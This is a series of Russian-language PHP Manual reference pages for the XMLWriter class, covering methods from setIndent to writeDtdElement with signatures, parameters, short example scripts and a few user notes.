Только для процедурных вызовов. Изменяемый экземпляр класса XMLWriter. Объект возвращается из вызова xmlwriter_open_uri() или xmlwriter_open_memory().

flush

Определяет, освободить буфер или нет. По умолчанию true.

Возвращаемые значения

Возвращает текущий буфер в виде строки.

Список изменений

Версия | Описание
8.0.0 | В параметре writer теперь ожидается экземпляр класса XMLWriter; раньше параметр ждал ресурс (resource).

Смотрите также

  • XMLWriter::flush() - Сбросить текущий буфер

User Contributed Notes

There are no user contributed notes for this page.


Включить или отключить отступы

  • « XMLWriter::outputMemory
  • XMLWriter::setIndentString »
  • PHP Manual
  • XMLWriter
  • Включить или отключить отступы

XMLWriter::setIndent

xmlwriter_set_indent

(PHP 5 >= 5.1.2, PHP 7, PHP 8, PECL xmlwriter >= 0.1.0)

XMLWriter::setIndent -- xmlwriter_set_indent — Включить или отключить отступы

Описание

Объектно-ориентированный стиль

public XMLWriter::setIndent(bool $enable): bool

Процедурный стиль

xmlwriter_set_indent(XMLWriter $writer, bool $enable): bool

Включает или отключает отступы.

Список параметров

writer

Только для процедурных вызовов. Изменяемый экземпляр класса XMLWriter. Объект возвращается из вызова xmlwriter_open_uri() или xmlwriter_open_memory().

enable

Определяет, включено ли добавление отступа.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Список изменений

Версия | Описание
8.0.0 | В параметре writer теперь ожидается экземпляр класса XMLWriter; раньше параметр ждал ресурс (resource).

Примеры

Пример #1 XMLWriter::setIndent() и смешанное содержимое

Включение отступа не подходит для смешанного содержимого, поскольку строка отступа также вставляется перед встроенными элементами.

<?php
$writer = new XMLWriter();
$writer->openMemory();
$writer->setIndent(2);
$writer->startDocument();
$writer->startElement('p');
$writer->text('до');
$writer->writeElement('a', 'элемента');
$writer->text('после');
$writer->endElement();
$writer->endDocument();
echo $writer->outputMemory();
?>

Результат выполнения приведённого примера:

<?xml version="1.0"?>
<p>до <a>элемена</a>
после</p>

Примечания

Замечание:

Отступ сбрасывается при открытии xmlwriter.

Смотрите также

  • XMLWriter::setIndentString() - Установить строку, используемую для отступов

User Contributed Notes

info at ensostudio dot ru 04-Apr-2021 01:04
NOTE: $enable can be integer as in example, or boolean.


Установить строку, используемую для отступов

  • « XMLWriter::setIndent
  • XMLWriter::startAttribute »
  • PHP Manual
  • XMLWriter
  • Установить строку, используемую для отступов

XMLWriter::setIndentString

xmlwriter_set_indent_string

(PHP 5 >= 5.1.2, PHP 7, PHP 8, PECL xmlwriter >= 0.1.0)

XMLWriter::setIndentString -- xmlwriter_set_indent_string — Установить строку, используемую для отступов

Описание

Объектно-ориентированный стиль

public XMLWriter::setIndentString(string $indentation): bool

Процедурный стиль

xmlwriter_set_indent_string(XMLWriter $writer, string $indentation): bool

Устанавливает строку, которая будет использоваться для отступа каждого элемента/атрибута в результирующем XML.

Список параметров

writer

Только для процедурных вызовов. Изменяемый экземпляр класса XMLWriter. Объект возвращается из вызова xmlwriter_open_uri() или xmlwriter_open_memory().

indentString

Отступ строки.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Список изменений

Версия | Описание
8.0.0 | В параметре writer теперь ожидается экземпляр класса XMLWriter; раньше параметр ждал ресурс (resource).

Примечания

Замечание:

Отступ сбрасывается при открытии xmlwriter.

Смотрите также

  • XMLWriter::setIndent() - Включить или отключить отступы

User Contributed Notes

There are no user contributed notes for this page.


Создать начальный атрибут

  • « XMLWriter::setIndentString
  • XMLWriter::startAttributeNs »
  • PHP Manual
  • XMLWriter
  • Создать начальный атрибут

XMLWriter::startAttribute

xmlwriter_start_attribute

(PHP 5 >= 5.1.2, PHP 7, PHP 8, PECL xmlwriter >= 0.1.0)

XMLWriter::startAttribute -- xmlwriter_start_attribute — Создать начальный атрибут

Описание

Объектно-ориентированный стиль

public XMLWriter::startAttribute(string $name): bool

Процедурный стиль

xmlwriter_start_attribute(XMLWriter $writer, string $name): bool

Начинает атрибут.

Список параметров

writer

Только для процедурных вызовов. Изменяемый экземпляр класса XMLWriter. Объект возвращается из вызова xmlwriter_open_uri() или xmlwriter_open_memory().

name

Имя атрибута.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Список изменений

Версия | Описание
8.0.0 | В параметре writer теперь ожидается экземпляр класса XMLWriter; раньше параметр ждал ресурс (resource).

Примеры

Пример #1 Пример базового использования XMLWriter::startAttribute()

<?php
$writer = new XMLWriter;
$writer->openURI('php://output');
$writer->startDocument('1.0', 'UTF-8');
$writer->startElement('element');
$writer->startAttribute('attribute');
$writer->text('value');
$writer->endAttribute();
$writer->endElement();
$writer->endDocument();

Вывод приведённого примера будет похож на:

<?xml version="1.0" encoding="UTF-8"?>
<element attribute="value"/>

Смотрите также

  • XMLWriter::startAttributeNs() - Создать стартовый атрибут пространства имён
  • XMLWriter::endAttribute() - Завершить атрибут
  • XMLWriter::writeAttribute() - Записать полный атрибут
  • XMLWriter::writeAttributeNs() - Записать полный атрибут пространства имён

User Contributed Notes

There are no user contributed notes for this page.


Создать стартовый атрибут пространства имён

  • « XMLWriter::startAttribute
  • XMLWriter::startCdata »
  • PHP Manual
  • XMLWriter
  • Создать стартовый атрибут пространства имён

XMLWriter::startAttributeNs

xmlwriter_start_attribute_ns

(PHP 5 >= 5.1.2, PHP 7, PHP 8, PECL xmlwriter >= 0.1.0)

XMLWriter::startAttributeNs -- xmlwriter_start_attribute_ns — Создать стартовый атрибут пространства имён

Описание

Объектно-ориентированный стиль

public XMLWriter::startAttributeNs(?string $prefix, string $name, ?string $namespace): bool

Процедурный стиль

xmlwriter_start_attribute_ns(
XMLWriter $writer,
?string $prefix,
string $name,
?string $namespace
): bool

Начинает атрибут пространства имён.

Список параметров

writer

Только для процедурных вызовов. Изменяемый экземпляр класса XMLWriter. Объект возвращается из вызова xmlwriter_open_uri() или xmlwriter_open_memory().

prefix

Префикс пространства имён.

name

Имя атрибута.

namespace

URI пространства имён. Если namespace равен null, объявление пространства имён будет опущено.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Список изменений

Версия | Описание
8.0.0 | В параметре writer теперь ожидается экземпляр класса XMLWriter; раньше параметр ждал ресурс (resource).
8.0.0 | prefix теперь допускает значение null.

Смотрите также

  • XMLWriter::startAttribute() - Создать начальный атрибут
  • XMLWriter::endAttribute() - Завершить атрибут
  • XMLWriter::writeAttribute() - Записать полный атрибут
  • XMLWriter::writeAttributeNs() - Записать полный атрибут пространства имён

User Contributed Notes

There are no user contributed notes for this page.


Создать начальный тег CDATA

  • « XMLWriter::startAttributeNs
  • XMLWriter::startComment »
  • PHP Manual
  • XMLWriter
  • Создать начальный тег CDATA

XMLWriter::startCdata

xmlwriter_start_cdata

(PHP 5 >= 5.1.2, PHP 7, PHP 8, PECL xmlwriter >= 0.1.0)

XMLWriter::startCdata -- xmlwriter_start_cdata — Создать начальный тег CDATA

Описание

Объектно-ориентированный стиль

public XMLWriter::startCdata(): bool

Процедурный стиль

xmlwriter_start_cdata(XMLWriter $writer): bool

Начинает CDATA.

Список параметров

writer

Только для процедурных вызовов. Изменяемый экземпляр класса XMLWriter. Объект возвращается из вызова xmlwriter_open_uri() или xmlwriter_open_memory().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Список изменений

Версия | Описание
8.0.0 | В параметре writer теперь ожидается экземпляр класса XMLWriter; раньше параметр ждал ресурс (resource).

Смотрите также

  • XMLWriter::endCdata() - Завершить текущую секцию CDATA
  • XMLWriter::writeCdata() - Записать полный тег CDATA

User Contributed Notes

There are no user contributed notes for this page.


Создаёт стартовый комментарий

  • « XMLWriter::startCdata
  • XMLWriter::startDocument »
  • PHP Manual
  • XMLWriter
  • Создаёт стартовый комментарий

XMLWriter::startComment

xmlwriter_start_comment

(PHP 5 >= 5.1.2, PHP 7, PHP 8, PECL xmlwriter >= 1.0.0)

XMLWriter::startComment -- xmlwriter_start_comment — Создаёт стартовый комментарий

Описание

Объектно-ориентированный стиль

public XMLWriter::startComment(): bool

Процедурный стиль

xmlwriter_start_comment(XMLWriter $writer): bool

Начинает комментарий.

Список параметров

writer

Только для процедурных вызовов. Изменяемый экземпляр класса XMLWriter. Объект возвращается из вызова xmlwriter_open_uri() или xmlwriter_open_memory().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Список изменений

Версия | Описание
8.0.0 | В параметре writer теперь ожидается экземпляр класса XMLWriter; раньше параметр ждал ресурс (resource).

Смотрите также

  • XMLWriter::endComment() - Завершить комментарий
  • XMLWriter::writeComment() - Записать полный тег комментария

User Contributed Notes

There are no user contributed notes for this page.


Создать тег документа

  • « XMLWriter::startComment
  • XMLWriter::startDtd »
  • PHP Manual
  • XMLWriter
  • Создать тег документа

XMLWriter::startDocument

xmlwriter_start_document

(PHP 5 >= 5.1.2, PHP 7, PHP 8, PECL xmlwriter >= 0.1.0)

XMLWriter::startDocument -- xmlwriter_start_document — Создать тег документа

Описание

Объектно-ориентированный стиль

public XMLWriter::startDocument(?string $version = "1.0", ?string $encoding = null, ?string $standalone = null): bool

Процедурный стиль

xmlwriter_start_document(
XMLWriter $writer,
?string $version = "1.0",
?string $encoding = null,
?string $standalone = null
): bool

Начинает документ.

Список параметров

writer

Только для процедурных вызовов. Изменяемый экземпляр класса XMLWriter. Объект возвращается из вызова xmlwriter_open_uri() или xmlwriter_open_memory().

version

Номер версии документа как часть объявления XML.

encoding

Кодировка документа как часть объявления XML.

standalone

yes или no.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Список изменений

Версия | Описание
8.0.0 | В параметре writer теперь ожидается экземпляр класса XMLWriter; раньше параметр ждал ресурс (resource).

Смотрите также

  • XMLWriter::endDocument() - Завершить текущий документ

User Contributed Notes

Sbastien 13-Mar-2022 09:52
XMLWriter::startDocument() writes the XML declaration.

Without XMLWriter::startDocument() :

<?php

$xml = new XMLWriter();
$xml->openUri('php://stdout');
$xml->writeElement('message', 'Hello World!');
exit;

/*
Outputs :
<message>Hello World!</message>
*/
?>

With XMLWriter::startDocument() :

<?php

$xml = new XMLWriter();
$xml->openUri('php://stdout');
$xml->startDocument();
$xml->writeElement('message', 'Hello World!');
exit;

/*
Outputs :
<?xml version="1.0"?>
<message>Hello World!</message>
*/
?>


Создать стартовый DTD тег

  • « XMLWriter::startDocument
  • XMLWriter::startDtdAttlist »
  • PHP Manual
  • XMLWriter
  • Создать стартовый DTD тег

XMLWriter::startDtd

xmlwriter_start_dtd

(PHP 5 >= 5.1.2, PHP 7, PHP 8, PECL xmlwriter >= 0.1.0)

XMLWriter::startDtd -- xmlwriter_start_dtd — Создать стартовый DTD тег

Описание

Объектно-ориентированный стиль

public XMLWriter::startDtd(string $qualifiedName, ?string $publicId = null, ?string $systemId = null): bool

Процедурный стиль

xmlwriter_start_dtd(
XMLWriter $writer,
string $qualifiedName,
?string $publicId = null,
?string $systemId = null
): bool

Начинает DTD.

Список параметров

writer

Только для процедурных вызовов. Изменяемый экземпляр класса XMLWriter. Объект возвращается из вызова xmlwriter_open_uri() или xmlwriter_open_memory().

qualifiedName

Полностью определённое имя типа документа для создания.

publicId

Идентификатор внешнего публичного подмножества.

systemId

Идентификатор внешнего системного подмножества.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Список изменений

Версия | Описание
8.0.0 | В параметре writer теперь ожидается экземпляр класса XMLWriter; раньше параметр ждал ресурс (resource).

Смотрите также

  • XMLWriter::endDtd() - Завершить текущий DTD
  • XMLWriter::writeDtd() - Записать полный тег DTD

User Contributed Notes

There are no user contributed notes for this page.


Создаёт стартовый список атрибутов DTD

  • « XMLWriter::startDtd
  • XMLWriter::startDtdElement »
  • PHP Manual
  • XMLWriter
  • Создаёт стартовый список атрибутов DTD

XMLWriter::startDtdAttlist

xmlwriter_start_dtd_attlist

(PHP 5 >= 5.1.2, PHP 7, PHP 8, PECL xmlwriter >= 0.1.0)

XMLWriter::startDtdAttlist -- xmlwriter_start_dtd_attlist — Создаёт стартовый список атрибутов DTD

Описание

Объектно-ориентированный стиль

public XMLWriter::startDtdAttlist(string $name): bool

Процедурный стиль

xmlwriter_start_dtd_attlist(XMLWriter $writer, string $name): bool

Начинает список атрибутов DTD.

Список параметров

writer

Только для процедурных вызовов. Изменяемый экземпляр класса XMLWriter. Объект возвращается из вызова xmlwriter_open_uri() или xmlwriter_open_memory().

name

Название списка атрибутов.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Список изменений

Версия | Описание
8.0.0 | В параметре writer теперь ожидается экземпляр класса XMLWriter; раньше параметр ждал ресурс (resource).

Смотрите также

  • XMLWriter::endDtdAttlist() - Завершить текущий список атрибутов DTD
  • XMLWriter::writeDtdAttlist() - Записать полный тег DTD AttList

User Contributed Notes

There are no user contributed notes for this page.


Создать стартовый элемент DTD

  • « XMLWriter::startDtdAttlist
  • XMLWriter::startDtdEntity »
  • PHP Manual
  • XMLWriter
  • Создать стартовый элемент DTD

XMLWriter::startDtdElement

xmlwriter_start_dtd_element

(PHP 5 >= 5.1.2, PHP 7, PHP 8, PECL xmlwriter >= 0.1.0)

XMLWriter::startDtdElement -- xmlwriter_start_dtd_element — Создать стартовый элемент DTD

Описание

Объектно-ориентированный стиль

public XMLWriter::startDtdElement(string $qualifiedName): bool

Процедурный стиль

xmlwriter_start_dtd_element(XMLWriter $writer, string $qualifiedName): bool

Начинает элемент DTD.

Список параметров

writer

Только для процедурных вызовов. Изменяемый экземпляр класса XMLWriter. Объект возвращается из вызова xmlwriter_open_uri() или xmlwriter_open_memory().

qualifiedName

Полностью определённое имя типа документа для создания.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Список изменений

Версия | Описание
8.0.0 | В параметре writer теперь ожидается экземпляр класса XMLWriter; раньше параметр ждал ресурс (resource).

Смотрите также

  • XMLWriter::endDtdElement() - Завершить текущий элемент DTD
  • XMLWriter::writeDtdElement() - Записать полный тег элемента DTD

User Contributed Notes

There are no user contributed notes for this page.


Создать стартовую запись DTD

  • « XMLWriter::startDtdElement
  • XMLWriter::startElement »
  • PHP Manual
  • XMLWriter
  • Создать стартовую запись DTD

XMLWriter::startDtdEntity

xmlwriter_start_dtd_entity

(PHP 5 >= 5.2.1, PHP 7, PHP 8, PECL xmlwriter >= 0.1.0)

XMLWriter::startDtdEntity -- xmlwriter_start_dtd_entity — Создать стартовую запись DTD

Описание

Объектно-ориентированный стиль

public XMLWriter::startDtdEntity(string $name, bool $isParam): bool

Процедурный стиль

xmlwriter_start_dtd_entity(XMLWriter $writer, string $name, bool $isParam): bool

Начинает запись DTD.

Список параметров

writer

Только для процедурных вызовов. Изменяемый экземпляр класса XMLWriter. Объект возвращается из вызова xmlwriter_open_uri() или xmlwriter_open_memory().

name

Имя записи.

isParam

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Список изменений

Версия | Описание
8.0.0 | В параметре writer теперь ожидается экземпляр класса XMLWriter; раньше параметр ждал ресурс (resource).

Смотрите также

  • XMLWriter::endDtdEntity() - Завершить текущую запись DTD
  • XMLWriter::writeDtdEntity() - Записать полный тег DTD записи

User Contributed Notes

There are no user contributed notes for this page.


Создать стартовый тег элемента

  • « XMLWriter::startDtdEntity
  • XMLWriter::startElementNs »
  • PHP Manual
  • XMLWriter
  • Создать стартовый тег элемента

XMLWriter::startElement

xmlwriter_start_element

(PHP 5 >= 5.1.2, PHP 7, PHP 8, PECL xmlwriter >= 0.1.0)

XMLWriter::startElement -- xmlwriter_start_element — Создать стартовый тег элемента

Описание

Объектно-ориентированный стиль

public XMLWriter::startElement(string $name): bool

Процедурный стиль

xmlwriter_start_element(XMLWriter $writer, string $name): bool

Начинает элемент.

Список параметров

writer

Только для процедурных вызовов. Изменяемый экземпляр класса XMLWriter. Объект возвращается из вызова xmlwriter_open_uri() или xmlwriter_open_memory().

name

Имя элемента.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Список изменений

Версия | Описание
8.0.0 | В параметре writer теперь ожидается экземпляр класса XMLWriter; раньше параметр ждал ресурс (resource).

Смотрите также

  • XMLWriter::endElement() - Завершить текущий элемент
  • XMLWriter::writeElement() - Записать полный тег элемента

User Contributed Notes

There are no user contributed notes for this page.


Создать стартовый тег элемента пространства имён

  • « XMLWriter::startElement
  • XMLWriter::startPi »
  • PHP Manual
  • XMLWriter
  • Создать стартовый тег элемента пространства имён

XMLWriter::startElementNs

xmlwriter_start_element_ns

(PHP 5 >= 5.1.2, PHP 7, PHP 8, PECL xmlwriter >= 0.1.0)

XMLWriter::startElementNs -- xmlwriter_start_element_ns — Создать стартовый тег элемента пространства имён

Описание

Объектно-ориентированный стиль

public XMLWriter::startElementNs(?string $prefix, string $name, ?string $namespace): bool

Процедурный стиль

xmlwriter_start_element_ns(
XMLWriter $writer,
?string $prefix,
string $name,
?string $namespace
): bool

Начинает элемент пространства имён.

Список параметров

writer

Только для процедурных вызовов. Изменяемый экземпляр класса XMLWriter. Объект возвращается из вызова xmlwriter_open_uri() или xmlwriter_open_memory().

prefix

Префикс пространства имён. Если prefix равен null, пространство имён будет опущено.

name

Имя элемента.

namespace

URI пространства имён. Если namespace равен null, объявление пространства имён будет опущено.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Список изменений

Версия | Описание
8.0.0 | В параметре writer теперь ожидается экземпляр класса XMLWriter; раньше параметр ждал ресурс (resource).

Смотрите также

  • XMLWriter::endElement() - Завершить текущий элемент
  • XMLWriter::writeElementNs() - Записать полное пространство имён тега элемента

User Contributed Notes

There are no user contributed notes for this page.


Создать стартовый тег PI

  • « XMLWriter::startElementNs
  • XMLWriter::text »
  • PHP Manual
  • XMLWriter
  • Создать стартовый тег PI

XMLWriter::startPi

xmlwriter_start_pi

(PHP 5 >= 5.1.2, PHP 7, PHP 8, PECL xmlwriter >= 0.1.0)

XMLWriter::startPi -- xmlwriter_start_pi — Создать стартовый тег PI

Описание

Объектно-ориентированный стиль

public XMLWriter::startPi(string $target): bool

Процедурный стиль

xmlwriter_start_pi(XMLWriter $writer, string $target): bool

Начинает тег инструкции обработки (PI).

Список параметров

writer

Только для процедурных вызовов. Изменяемый экземпляр класса XMLWriter. Объект возвращается из вызова xmlwriter_open_uri() или xmlwriter_open_memory().

target

Цель инструкции обработки.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Список изменений

Версия | Описание
8.0.0 | В параметре writer теперь ожидается экземпляр класса XMLWriter; раньше параметр ждал ресурс (resource).

Смотрите также

  • XMLWriter::endPi() - Завершить текущую инструкцию обработки (PI)
  • XMLWriter::writePi() - Записать инструкцию обработки (PI)

User Contributed Notes

There are no user contributed notes for this page.


Записать текст

  • « XMLWriter::startPi
  • XMLWriter::writeAttribute »
  • PHP Manual
  • XMLWriter
  • Записать текст

XMLWriter::text

xmlwriter_text

(PHP 5 >= 5.1.2, PHP 7, PHP 8, PECL xmlwriter >= 0.1.0)

XMLWriter::text -- xmlwriter_text — Записать текст

Описание

Объектно-ориентированный стиль

public XMLWriter::text(string $content): bool

Процедурный стиль

xmlwriter_text(XMLWriter $writer, string $content): bool

Записывает текст.

Список параметров

writer

Только для процедурных вызовов. Изменяемый экземпляр класса XMLWriter. Объект возвращается из вызова xmlwriter_open_uri() или xmlwriter_open_memory().

content

Содержимое текста. Символы <, >, & и " записываются как ссылки на сущности (т.е. &lt;, &gt;, &amp; и &quot;, соответственно). Все остальные символы в том числе ' записываются буквально. Чтобы записывать специальные символы XML буквально или записывать буквальные ссылки на сущности, необходимо использовать xmlwriter_write_raw().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Список изменений

Версия | Описание
8.0.0 | В параметре writer теперь ожидается экземпляр класса XMLWriter; раньше параметр ждал ресурс (resource).

User Contributed Notes

There are no user contributed notes for this page.


Записать полный атрибут

  • « XMLWriter::text
  • XMLWriter::writeAttributeNs »
  • PHP Manual
  • XMLWriter
  • Записать полный атрибут

XMLWriter::writeAttribute

xmlwriter_write_attribute

(PHP 5 >= 5.1.2, PHP 7, PHP 8, PECL xmlwriter >= 0.1.0)

XMLWriter::writeAttribute -- xmlwriter_write_attribute — Записать полный атрибут

Описание

Объектно-ориентированный стиль

public XMLWriter::writeAttribute(string $name, string $value): bool

Процедурный стиль

xmlwriter_write_attribute(XMLWriter $writer, string $name, string $value): bool

Записывает полный атрибут.

Список параметров

writer

Только для процедурных вызовов. Изменяемый экземпляр класса XMLWriter. Объект возвращается из вызова xmlwriter_open_uri() или xmlwriter_open_memory().

name

Имя атрибута.

value

Значение атрибута.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Список изменений

Версия | Описание
8.0.0 | В параметре writer теперь ожидается экземпляр класса XMLWriter; раньше параметр ждал ресурс (resource).

Примеры

Пример #1 Перемешивание подэлементов и атрибутов

Если запись подэлементов и атрибутов смешана, любая попытка записи атрибутов после первого подэлемента завершится ошибкой и вернёт false.

<?php
$xml = new XMLWriter();
$xml->openMemory();

$xml->startElement('element');
$xml->writeAttribute('attr1', '0');
$xml->writeElement('subelem', '0');
var_dump($xml->writeAttribute('attr2', '0'));
$xml->endElement();

echo $xml->flush();
?>

Результат выполнения приведённого примера:

bool(false)
<element attr1="0"><subelem>0</subelem></element>

Смотрите также

  • XMLWriter::writeAttributeNs() - Записать полный атрибут пространства имён
  • XMLWriter::startAttribute() - Создать начальный атрибут
  • XMLWriter::startAttributeNs() - Создать стартовый атрибут пространства имён
  • XMLWriter::endAttribute() - Завершить атрибут

User Contributed Notes

There are no user contributed notes for this page.


Записать полный атрибут пространства имён

  • « XMLWriter::writeAttribute
  • XMLWriter::writeCdata »
  • PHP Manual
  • XMLWriter
  • Записать полный атрибут пространства имён

XMLWriter::writeAttributeNs

xmlwriter_write_attribute_ns

(PHP 5 >= 5.1.2, PHP 7, PHP 8, PECL xmlwriter >= 0.1.0)

XMLWriter::writeAttributeNs -- xmlwriter_write_attribute_ns — Записать полный атрибут пространства имён

Описание

Объектно-ориентированный стиль

public XMLWriter::writeAttributeNs(
?string $prefix,
string $name,
?string $namespace,
string $value
): bool

Процедурный стиль

xmlwriter_write_attribute_ns(
XMLWriter $writer,
?string $prefix,
string $name,
?string $namespace,
string $value
): bool

Записывает полный атрибут пространства имён.

Список параметров

writer

Только для процедурных вызовов. Изменяемый экземпляр класса XMLWriter. Объект возвращается из вызова xmlwriter_open_uri() или xmlwriter_open_memory().

prefix

Префикс пространства имён. Если prefix равен null, пространство имён будет опущено.

name

Имя атрибута.

namespace

URI пространства имён. Если namespace равен null, объявление пространства имён будет опущено.

content

Значение атрибута.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Список изменений

Версия | Описание
8.0.0 | В параметре writer теперь ожидается экземпляр класса XMLWriter; раньше параметр ждал ресурс (resource).

Смотрите также

  • XMLWriter::writeAttribute() - Записать полный атрибут
  • XMLWriter::startAttribute() - Создать начальный атрибут
  • XMLWriter::startAttributeNs() - Создать стартовый атрибут пространства имён
  • XMLWriter::endAttribute() - Завершить атрибут

User Contributed Notes

There are no user contributed notes for this page.


Записать полный тег CDATA

  • « XMLWriter::writeAttributeNs
  • XMLWriter::writeComment »
  • PHP Manual
  • XMLWriter
  • Записать полный тег CDATA

XMLWriter::writeCdata

xmlwriter_write_cdata

(PHP 5 >= 5.1.2, PHP 7, PHP 8, PECL xmlwriter >= 0.1.0)

XMLWriter::writeCdata -- xmlwriter_write_cdata — Записать полный тег CDATA

Описание

Объектно-ориентированный стиль

public XMLWriter::writeCdata(string $content): bool

Процедурный стиль

xmlwriter_write_cdata(XMLWriter $writer, string $content): bool

Записывает полный тег CDATA.

Список параметров

writer

Только для процедурных вызовов. Изменяемый экземпляр класса XMLWriter. Объект возвращается из вызова xmlwriter_open_uri() или xmlwriter_open_memory().

content

Содержимое CDATA.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Список изменений

Версия | Описание
8.0.0 | В параметре writer теперь ожидается экземпляр класса XMLWriter; раньше параметр ждал ресурс (resource).

Примеры

Пример #1 Базовое использование xmlwriter_write_cdata()

<?php
// настроить документ
$xml = new XmlWriter();
$xml->openMemory();
$xml->setIndent(true);
$xml->startDocument('1.0', 'UTF-8');
$xml->startElement('mydoc');
$xml->startElement('myele');

// вывод CData
$xml->startElement('mycdataelement');
$xml->writeCData("текст для включения как CData");
$xml->endElement();

// завершить документ и вывести
$xml->endElement();
$xml->endElement();
echo $xml->outputMemory(true);
?>

Результат выполнения приведённого примера:

<mydoc>
 <myele>
  <mycdataelement><![CDATA[текст для включения как CData]?]></mycdataelement>
 </myele>
</mydoc>

Смотрите также

  • XMLWriter::startCdata() - Создать начальный тег CDATA
  • XMLWriter::endCdata() - Завершить текущую секцию CDATA

User Contributed Notes

There are no user contributed notes for this page.


Записать полный тег комментария

  • « XMLWriter::writeCdata
  • XMLWriter::writeDtd »
  • PHP Manual
  • XMLWriter
  • Записать полный тег комментария

XMLWriter::writeComment

xmlwriter_write_comment

(PHP 5 >= 5.1.2, PHP 7, PHP 8, PECL xmlwriter >= 0.1.0)

XMLWriter::writeComment -- xmlwriter_write_comment — Записать полный тег комментария

Описание

Объектно-ориентированный стиль

public XMLWriter::writeComment(string $content): bool

Процедурный стиль

xmlwriter_write_comment(XMLWriter $writer, string $content): bool

Записывает полный комментарий.

Список параметров

writer

Только для процедурных вызовов. Изменяемый экземпляр класса XMLWriter. Объект возвращается из вызова xmlwriter_open_uri() или xmlwriter_open_memory().

content

Содержимое комментария.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Список изменений

Версия | Описание
8.0.0 | В параметре writer теперь ожидается экземпляр класса XMLWriter; раньше параметр ждал ресурс (resource).

Смотрите также

  • XMLWriter::startComment() - Создаёт стартовый комментарий
  • XMLWriter::endComment() - Завершить комментарий

User Contributed Notes

There are no user contributed notes for this page.


Записать полный тег DTD

  • « XMLWriter::writeComment
  • XMLWriter::writeDtdAttlist »
  • PHP Manual
  • XMLWriter
  • Записать полный тег DTD

XMLWriter::writeDtd

xmlwriter_write_dtd

(PHP 5 >= 5.1.2, PHP 7, PHP 8, PECL xmlwriter >= 0.1.0)

XMLWriter::writeDtd -- xmlwriter_write_dtd — Записать полный тег DTD

Описание

Объектно-ориентированный стиль

public XMLWriter::writeDtd(
string $name,
?string $publicId = null,
?string $systemId = null,
?string $content = null
): bool

Процедурный стиль

xmlwriter_write_dtd(
XMLWriter $writer,
string $name,
?string $publicId = null,
?string $systemId = null,
?string $content = null
): bool

Записывает полный тег DTD.

Список параметров

writer

Только для процедурных вызовов. Изменяемый экземпляр класса XMLWriter. Объект возвращается из вызова xmlwriter_open_uri() или xmlwriter_open_memory().

name

Имя DTD.

publicId

Идентификатор внешнего публичного подмножества.

systemId

Идентификатор внешнего системного подмножества.

content

Содержимое DTD.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Список изменений

Версия | Описание
8.0.0 | В параметре writer теперь ожидается экземпляр класса XMLWriter; раньше параметр ждал ресурс (resource).

Смотрите также

  • XMLWriter::startDtd() - Создать стартовый DTD тег
  • XMLWriter::endDtd() - Завершить текущий DTD

User Contributed Notes

There are no user contributed notes for this page.


Записать полный тег DTD AttList

  • « XMLWriter::writeDtd
  • XMLWriter::writeDtdElement »
  • PHP Manual
  • XMLWriter
  • Записать полный тег DTD AttList

XMLWriter::writeDtdAttlist

xmlwriter_write_dtd_attlist

(PHP 5 >= 5.1.2, PHP 7, PHP 8, PECL xmlwriter >= 0.1.0)

XMLWriter::writeDtdAttlist -- xmlwriter_write_dtd_attlist — Записать полный тег DTD AttList

Описание

Объектно-ориентированный стиль

public XMLWriter::writeDtdAttlist(string $name, string $content): bool

Процедурный стиль

xmlwriter_write_dtd_attlist(XMLWriter $writer, string $name, string $content): bool

Записывает список атрибутов DTD.

Список параметров

writer

Только для процедурных вызовов. Изменяемый экземпляр класса XMLWriter. Объект возвращается из вызова xmlwriter_open_uri() или xmlwriter_open_memory().

name

Имя списка атрибутов DTD.

content

Содержимое списка атрибутов DTD.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Список изменений

Версия | Описание
8.0.0 | В параметре writer теперь ожидается экземпляр класса XMLWriter; раньше параметр ждал ресурс (resource).

Смотрите также

  • XMLWriter::startDtdAttlist() - Создаёт стартовый список атрибутов DTD
  • XMLWriter::endDtdAttlist() - Завершить текущий список атрибутов DTD

User Contributed Notes

There are no user contributed notes for this page.


Записать полный тег элемента DTD

  • « XMLWriter::writeDtdAttlist
  • XMLWriter::writeDtdEntity »
  • PHP Manual
  • XMLWriter
  • Записать полный тег элемента DTD

XMLWriter::writeDtdElement

xmlwriter_write_dtd_element

(PHP 5 >= 5.1.2, PHP 7, PHP 8, PECL xmlwriter >= 0.1.0)

XMLWriter::writeDtdElement -- xmlwriter_write_dtd_element — Записать полный тег элемента DTD

Описание

Объектно-ориентированный стиль

public XMLWriter::writeDtdElement(string $name, string $content): bool

Процедурный стиль

xmlwriter_write_dtd_element(XMLWriter $writer, string $name, string $content): bool

Записывает полный тег элемента DTD.

Список параметров

writer

Только для процедурных вызовов. Изменяемый экземпляр класса XMLWriter. Объект возвращается из вызова xmlwriter_open_uri() или xmlwriter_open_memory().

name

Имя элемента DTD.

content

Содержимое элемента.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Список изменений

Версия | Описание
8.0.0 | В параметре writer теперь ожидается экземпляр класса XMLWriter; раньше параметр ждал ресурс (resource).

Смотрите также

  • XMLWriter::startDtdElement() - Создать стартовый элемент DTD
